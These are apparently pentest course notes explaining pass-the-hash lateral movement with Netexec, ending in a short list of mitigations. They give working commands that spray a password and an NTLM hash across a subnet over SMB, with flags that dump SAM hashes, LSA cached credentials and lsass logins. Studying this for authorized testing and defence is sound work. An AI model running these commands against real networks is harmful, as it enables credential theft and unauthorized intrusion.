# Pass the Hash
## Overview
With a cracked a password and or dumped SAM hashes, we can use both of them for lateral movement by passing them around machines in the network.
If the password/hash is one of a Local Administrator, we can use secretsdump to dump out more hashes from other computers, crack those passwords and pass them around again.
**Netexec** is the tool that will be used for this attack and it even stores a database of all the findings of the attack.
## Netexec
Pass the Password
netexec smb 192.168.1.0/24 -u greg -d PNPT.local -p Password1
Pass the Hash
```bash
netexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404e' --local-auth
```
Pass the Hash Variations
```bash
--sam Dumps SAM
--shares Dumps shares being offered by the machine
--lsa Dumps LSA hashes (cached credentials)
-M lsassy Dumps lsassy (recent user logins)
```
View **crackmapexec** database
```bash
nxcdb
```
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## Mitigation
* Limit account reuse
* Don't reuse Local Administrator passwords
* Disable Local Administrator and Guest accounts
* Limit who is an Administrator
* Strong password policy
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